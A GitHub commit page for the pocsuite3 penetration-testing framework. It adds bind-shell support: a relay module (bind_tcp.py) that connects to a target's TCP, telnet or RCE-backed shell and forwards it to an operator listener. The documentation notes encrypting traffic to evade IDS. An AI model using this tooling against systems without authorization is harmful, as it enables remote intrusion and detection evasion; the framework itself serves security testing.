Skip to content

Commit

Permalink
Merge pull request #224 from 13ph03nix/master
Browse files Browse the repository at this point in the history
feat: support bind shell in shell mode
  • Loading branch information
13ph03nix authored Oct 26, 2021
2 parents cd0f937 + 188bdb4 commit 64a1044
Show file tree
Hide file tree
Showing 9 changed files with 186 additions and 31 deletions.
5 changes: 5 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -262,3 +262,8 @@ Cross-platform shell code generation
-----------------
* update docs
* fix typo

# version 1.8.5
-----------------
* support bind shell in shell mode
* fix #221
12 changes: 12 additions & 0 deletions docs/CODING.md
Original file line number Diff line number Diff line change
Expand Up @@ -201,6 +201,18 @@ def _shell(self):

shell 模式下,只能运行单个 PoC 脚本,控制台会进入 shell 交互模式执行命令及输出

***1.8.5*** 版本开始,pocsuite3 支持 bind shell。shell 模式和原来的操作方式一致,也需要指定监听 ip 和端口,监听 ip 可以是本地任意 ip,也可以是远程 vps ip。

bind shell 的实现位于 `./pocsuite3/modules/listener/bind_tcp.py`,原理是实现了一个中间层,一端连接漏洞目标的 bind shell(如 telnet 服务、nc 启动的 shell、php 一句话等),另一端连接用户指定的监听 ip 和端口,如此一来,shell 模式可以不受网络环境限制,支持在内网使用。

目前支持三种 bind shell,使用场景如下:

`bind_shell`:通用方法,在 shell 模式中直接调用 `return bind_shell(self, rce_func)` 即可,非常便捷。针对有回显的漏洞,在 PoC 中实现一个 rce(函数名可自定义)方法,函数参数为命令输入,输出为命令输出。如果漏洞无回显,也可以通过写一句话转为有回显的。值得一提的是,用户也可以在 rce 方法中实现流量的加解密以逃避 IDS 检测。

`bind_tcp_shell`:对 tcp 绑定型 shell 的原生支持,在 shell 模式中 `return bind_tcp_shell(bind_shell_ip, bind_shell_port)`

`bind_telnet_shell`:对 telnet 服务的原生支持,在 shell 模式中 `return bind_telnet_shell(ip, port, username, password)`

7. 结果返回

不管是验证模式或者攻击模式,返回结果 result 中的 key 值必须按照下面的规范来写,result 各字段意义请参见[《PoC 结果返回规范》](#resultstandard)
Expand Down
2 changes: 1 addition & 1 deletion manpages/poc-console.1
Original file line number Diff line number Diff line change
Expand Up @@ -31,7 +31,7 @@ is maintained at:
.I https://github.com/knownsec/pocsuite3/blob/master/docs/USAGE.md
.PP
.SH VERSION
This manual page documents pocsuite version 1.8.4
This manual page documents pocsuite version 1.8.5
.SH AUTHOR
.br
(c) 2014-2021 by Knownsec 404 Team
Expand Down
2 changes: 1 addition & 1 deletion manpages/pocsuite.1
Original file line number Diff line number Diff line change
Expand Up @@ -250,7 +250,7 @@ is maintained at:
.I https://github.com/knownsec/pocsuite3/blob/master/docs/USAGE.md
.PP
.SH VERSION
This manual page documents pocsuite version 1.8.4
This manual page documents pocsuite version 1.8.5
.SH AUTHOR
.br
(c) 2014-2021 by Knownsec 404 Team
Expand Down
2 changes: 1 addition & 1 deletion pocsuite3/__init__.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
__title__ = 'pocsuite'
__version__ = '1.8.4'
__version__ = '1.8.5'
__author__ = 'Knownsec Security Team'
__author_email__ = 's1@seebug.org'
__license__ = 'GPL 2.0'
Expand Down
57 changes: 31 additions & 26 deletions pocsuite3/api/__init__.py
Original file line number Diff line number Diff line change
@@ -1,44 +1,49 @@
from pocsuite3.lib.controller.controller import start
from pocsuite3.lib.core.common import single_time_warn_message, encoder_bash_payload, encoder_powershell_payload, \
get_host_ipv6
from pocsuite3.lib.core.common import (encoder_bash_payload,
encoder_powershell_payload,
get_host_ipv6, single_time_warn_message)
from pocsuite3.lib.core.data import conf, kb, logger, paths
from pocsuite3.lib.core.datatype import AttribDict
from pocsuite3.lib.core.enums import PLUGIN_TYPE, POC_CATEGORY, VUL_TYPE
from pocsuite3.lib.core.interpreter_option import (OptBool, OptDict, OptFloat,
OptInteger, OptIP, OptItems,
OptPort, OptString)
from pocsuite3.lib.core.option import init, init_options
from pocsuite3.lib.core.plugin import PluginBase, register_plugin
from pocsuite3.lib.core.poc import POCBase, Output
from pocsuite3.lib.core.register import (
load_file_to_module,
load_string_to_module,
register_poc,
)
from pocsuite3.lib.core.poc import Output, POCBase
from pocsuite3.lib.core.register import (load_file_to_module,
load_string_to_module, register_poc)
from pocsuite3.lib.core.settings import DEFAULT_LISTENER_PORT
from pocsuite3.lib.request import requests
from pocsuite3.lib.utils import get_middle_text, generate_shellcode_list, random_str
from pocsuite3.lib.utils import (generate_shellcode_list, get_middle_text,
random_str)
from pocsuite3.modules.censys import Censys
from pocsuite3.modules.ceye import CEye
from pocsuite3.modules.listener import REVERSE_PAYLOAD
from pocsuite3.modules.fofa import Fofa
from pocsuite3.modules.httpserver import PHTTPServer
from pocsuite3.modules.listener import (REVERSE_PAYLOAD, bind_shell,
bind_tcp_shell, bind_telnet_shell)
from pocsuite3.modules.quake import Quake
from pocsuite3.modules.seebug import Seebug
from pocsuite3.modules.zoomeye import ZoomEye
from pocsuite3.modules.shodan import Shodan
from pocsuite3.modules.fofa import Fofa
from pocsuite3.modules.censys import Censys
from pocsuite3.modules.spider import crawl
from pocsuite3.modules.httpserver import PHTTPServer
from pocsuite3.modules.zoomeye import ZoomEye
from pocsuite3.shellcodes import OSShellcodes, WebShell
from pocsuite3.lib.core.interpreter_option import OptDict, OptIP, OptPort, OptBool, OptInteger, OptFloat, OptString, \
OptItems, OptDict

__all__ = (
'requests', 'PluginBase', 'register_plugin',
'PLUGIN_TYPE', 'POCBase', 'Output', 'AttribDict', 'POC_CATEGORY', 'VUL_TYPE',
'register_poc', 'conf', 'kb', 'logger', 'paths', 'DEFAULT_LISTENER_PORT', 'load_file_to_module',
'load_string_to_module', 'single_time_warn_message', 'CEye', 'Seebug',
'ZoomEye', 'Shodan', 'Fofa', 'Quake', 'Censys', 'PHTTPServer', 'REVERSE_PAYLOAD', 'get_listener_ip', 'get_listener_port','get_listener_port',
'get_results', 'init_pocsuite', 'start_pocsuite', 'get_poc_options', 'crawl',
'OSShellcodes', 'WebShell', 'OptDict', 'OptIP', 'OptPort', 'OptBool', 'OptInteger', 'OptFloat', 'OptString',
'OptItems', 'OptDict', 'get_middle_text', 'generate_shellcode_list', 'random_str', 'encoder_bash_payload',
'encoder_powershell_payload', 'get_host_ipv6')
__all__ = ('requests', 'PluginBase', 'register_plugin', 'PLUGIN_TYPE',
'POCBase', 'Output', 'AttribDict', 'POC_CATEGORY', 'VUL_TYPE',
'register_poc', 'conf', 'kb', 'logger', 'paths',
'DEFAULT_LISTENER_PORT', 'load_file_to_module',
'load_string_to_module', 'single_time_warn_message', 'CEye',
'Seebug', 'ZoomEye', 'Shodan', 'Fofa', 'Quake', 'Censys',
'PHTTPServer', 'REVERSE_PAYLOAD', 'get_listener_ip',
'get_listener_port', 'get_results', 'init_pocsuite',
'start_pocsuite', 'get_poc_options', 'crawl', 'OSShellcodes',
'WebShell', 'OptDict', 'OptIP', 'OptPort', 'OptBool', 'OptInteger',
'OptFloat', 'OptString', 'OptItems', 'get_middle_text',
'generate_shellcode_list', 'random_str', 'encoder_bash_payload',
'encoder_powershell_payload', 'get_host_ipv6', 'bind_shell',
'bind_tcp_shell', 'bind_telnet_shell')


def get_listener_ip():
Expand Down
4 changes: 3 additions & 1 deletion pocsuite3/modules/listener/__init__.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
from .reverse_tcp import handle_listener_connection
from .reverse_tcp import start_listener
from .reverse_tcp import REVERSE_PAYLOAD
from .bind_tcp import (bind_shell, bind_tcp_shell, bind_telnet_shell)

__all__ = (handle_listener_connection, start_listener, REVERSE_PAYLOAD)
__all__ = ('handle_listener_connection', 'start_listener', 'REVERSE_PAYLOAD',
'bind_shell', 'bind_tcp_shell', 'bind_telnet_shell')
131 changes: 131 additions & 0 deletions pocsuite3/modules/listener/bind_tcp.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,131 @@
import os
import socket
import select
import telnetlib
import threading
from pocsuite3.lib.core.poc import POCBase
from pocsuite3.lib.utils import random_str
from pocsuite3.lib.core.common import check_port
from pocsuite3.lib.core.data import conf, logger


def read_inputs(s):
buffer = []
try:
while True:
chunk = s.recv(1)
if not chunk or chunk == b'\n':
break
buffer.append(chunk)
except Exception:
pass
return b''.join(buffer)


def read_results(conn, inputs):
if isinstance(conn, telnetlib.Telnet):
flag = random_str(6).encode()
inputs = inputs.strip() + b';' + flag + b'\n'
results = b''
conn.write(inputs)
count = 10
while count:
count -= 1
chunk = conn.read_until(random_str(6).encode(), 0.2)
if len(chunk) > 0:
results += chunk
if results.count(flag) >= 2:
# remove the Telnet input echo
results = results.split(inputs.strip())[-1]
results = os.linesep.encode().join(
results.split(flag)[0].splitlines()[0:-1])
return results.strip() + b'\n'
elif callable(conn):
results = conn(inputs.decode())
if not isinstance(results, bytes):
results = results.encode()
if results.strip() == b'':
results = b'COMMAND NO OUTPUT\n'
return results
elif isinstance(conn, socket.socket):
flag = random_str(6).encode()
inputs = inputs.strip() + b';' + flag + b'\n'
conn.send(inputs)
count = 10
results = b''
while count:
count -= 1
ready = select.select([conn], [], [], 0.2)
if ready[0]:
chunk = conn.recv(1024)
results += chunk
if results.count(flag) >= 2:
break
results = results.split(inputs.strip())[-1]
results = os.linesep.encode().join(
results.split(flag)[0].splitlines()[0:-1])
return results.strip() + b'\n'
return b'\n'


def flow_redirect(conn):
s = socket.socket()
s.connect((conf.connect_back_host, conf.connect_back_port))
while True:
inputs = read_inputs(s)
results = read_results(conn, inputs)
s.send(results)


def start_listener(conn):
t = threading.Thread(target=flow_redirect,
name="bind-listener-thread",
args=[conn])
t.setDaemon(True)
t.start()


def bind_shell(obj, rce_func='_rce', check=True):
if not (isinstance(obj, POCBase) and hasattr(obj, rce_func)
and callable(getattr(obj, rce_func))):
return False
conn = getattr(obj, rce_func)
if check:
flag = random_str(6).encode()
if flag not in read_results(conn, b'echo %s' % flag):
return False
start_listener(conn)


def bind_tcp_shell(host, port, check=True):
if not check_port(host, port):
return False
try:
s = socket.socket()
s.connect((host, port))
if check:
flag = random_str(6).encode()
if flag not in read_results(s, b'echo %s' % flag):
return False
start_listener(s)
except Exception as e:
logger.error(str(e))


def bind_telnet_shell(host, port, user, pwd, check=True):
if not check_port(host, port):
return False
try:
tn = telnetlib.Telnet(host, port)
tn.expect([b'Login: ', b'login: '], 10)
tn.write(user.encode() + b'\n')
tn.expect([b'Password: ', b'password: '], 10)
tn.write(pwd.encode() + b'\n')
tn.write(b'\n')
if check:
flag = random_str(6).encode()
if flag not in read_results(tn, b'echo %s' % flag):
return False
start_listener(tn)
except Exception as e:
logger.error(str(e))
2 changes: 1 addition & 1 deletion setup.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ def find_packages(where='.'):

setup(
name='pocsuite3',
version='1.8.4',
version='1.8.5',
url='http://pocsuite.org',
description='Pocsuite is an open-sourced remote vulnerability testing framework developed by the Knownsec Security Team.',
long_description="""\
Expand Down

0 comments on commit 64a1044

Please sign in to comment.